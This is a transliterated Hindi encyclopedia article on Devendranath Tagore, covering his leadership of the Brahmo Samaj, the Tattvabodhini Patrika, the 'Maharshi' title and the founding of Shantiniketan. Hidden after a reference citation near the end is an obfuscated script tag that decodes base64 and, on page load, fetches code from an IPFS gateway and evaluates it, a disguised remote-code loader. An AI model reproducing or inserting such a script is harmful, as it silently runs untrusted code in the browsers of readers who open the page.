देवेन्द्रनाथ ठाकुर
devendranath thakur
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| poora nam | devendranath thakur ya taigor |
| janm | 15 mee, 1817 |
| janm bhoomi | kalakatta (ab kolakata) |
| mrityu | 19 janavari, 1905 |
| mrityu sthan | kalakatta (ab kolakata) |
| abhibhavak | pita- dvarakanath thakur |
| santan | putr-rabindranath thakur, satyendranath thakur |
| karm bhoomi | bharat |
| karm-kshetr | samaj sudharak |
| puraskar-upadhi | maharshi |
| vishesh yogadan | ve brahm samaj ke pramukh sadasy the, jisaka 1843 ee. se unhoanne b di saphalata ke sath netritv kiya. |
| nagarikata | bharatiy |
| any janakari | 19vian shatabdi mean jin mutthi bhar shikshit bharatiyoan ne adhunik bharat ki adharashila rakhi, unamean unaka nam sabase shirsh par rakha jaega. |
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devendranath thakur athava 'devendranath taigor' (aangrezi: Devendra Nath Thakur, janm: 15 mee, 1817; mrityu: 19 janavari, 1905) kalakatta nivasi dvarakanath thakur ke putr the, jo prakhyat vidvanh aur dharmik neta the. apani danashilata ke karan unhoanne 'prians' ki upadhi prapt ki thi. pita se unhoanne ooanchi samajik pratishtha tatha rrin uttaradhikar mean prapt kiya tha. nobel puraskar vijeta rabindranath thakur deveandranath thakur ke putr the.
netritv kshamata
pita ke rrin ka bhugatan unhoanne b di hi eemanadari ke sath kiya (jo ki us samay asadharan bat thi) aur apani vidvata, shalinata, shreshth charitr tatha saanskritik kriyakalapoan mean yogadan ke dvara unhoanne taigor parivar ki samajik pratishtha ko aur bhi oopar uthaya. ve brahm samaj ke pramukh sadasy the, jisaka 1843 ee. se unhoanne b di saphalata ke sath netritv kiya. 1843 ee. mean unhoanne 'tatvabodhini patrika' prakashit ki, jisake madhyam se unhoanne deshavasiyoan ko gambhir chintan hridayagat bhavoan ke prakashan ke lie prerit kiya. is patrika ne matribhasha ke vikas tatha vijnan evan dharmashastr ke adhyayan ki avashyakata par bal diya aur sath hi tatkalin prachalit samajik aandhavishvasoan v kuritiyoan ka virodh kiya tatha eesaee mishanariyoan dvara kiye jane vale dharmaparivartan ke viruddh kathor sangharsh chho d diya.
'maharshi' upadhi
raja ramamohan ray ki bhaanti devendranath ji bhi chahate the ki deshavasi, pashchaty sanskriti ki achchhaiyoan ko grahan karake unhean bharatiy parampara, sanskriti aur dharm mean samahit karean. ve hindoo dharm ko nasht karane ke nahian, usamean sudhar karane ke pakshapati the. ve samaj sudhar mean 'dhire chalo' ki niti pasand karate the. isi karan unaka keshavachandr sen tatha ugr samaj sudhar ke pakshapati brahmasamajiyoan, donoan se hi matabhed ho gaya. keshavachandr sen ne apani nayi sanstha 'navavidhan' arambh ki. udhar ugr samaj sudhar ke pakshapati brahma samajiyoan ne age chalakar apani alag alag sanstha 'sadharan brahm samaj' ki sthapana ki. devendranath ji ke uchch charitr tatha adhyatmik jnan ke karan sabhi deshavasi unake prati shraddha bhav rakhate the aur unhean 'maharshi' sambodhit karate the.
shanti niketan
devendranath dharm ke bad shiksha prasar mean sabase adhik ruchi lete the. unhoanne bangal ke vividh bhagoan mean shiksha sansthaean kholane mean madad ki. unhoanne 1863 ee. mean bolapur mean ekaantavas ke lie 20 bigha zamin kharidi aur vahaan gahari atmik shanti anubhav karane ke karan usaka nam 'shanti niketan' rakh diya aur 1886 ee. mean use ek trast ke supurd kar diya. yahian par bad mean unake svanamadhany putr ravindranath taigor ne vishvabharati ki sthapana ki.
dharm v shiksha prasar
devendranath ji mukhy roop se dharm sudharak tatha shiksha prasar mean ruchi to lete hi the, desh sudhar ke any karyoan mean bhi paryapt ruchi lete the. 1851 ee. mean sthapit hone vale 'british iandiyan esosiyeshan' ka sabase pahala sekretari unhean hi niyukt kiya gaya tha. is esosiyeshan ka uddeshy sanvaidhanik aandolan ke dvara desh ke prashasan mean deshavasiyoan ko uchit hissa dilana tha. 19vian shatabdi mean jin mutthi bhar shikshit bharatiyoan ne adhunik bharat ki adharashila rakhi, unamean unaka nam sabase shirsh par rakha jaega.
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tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 177.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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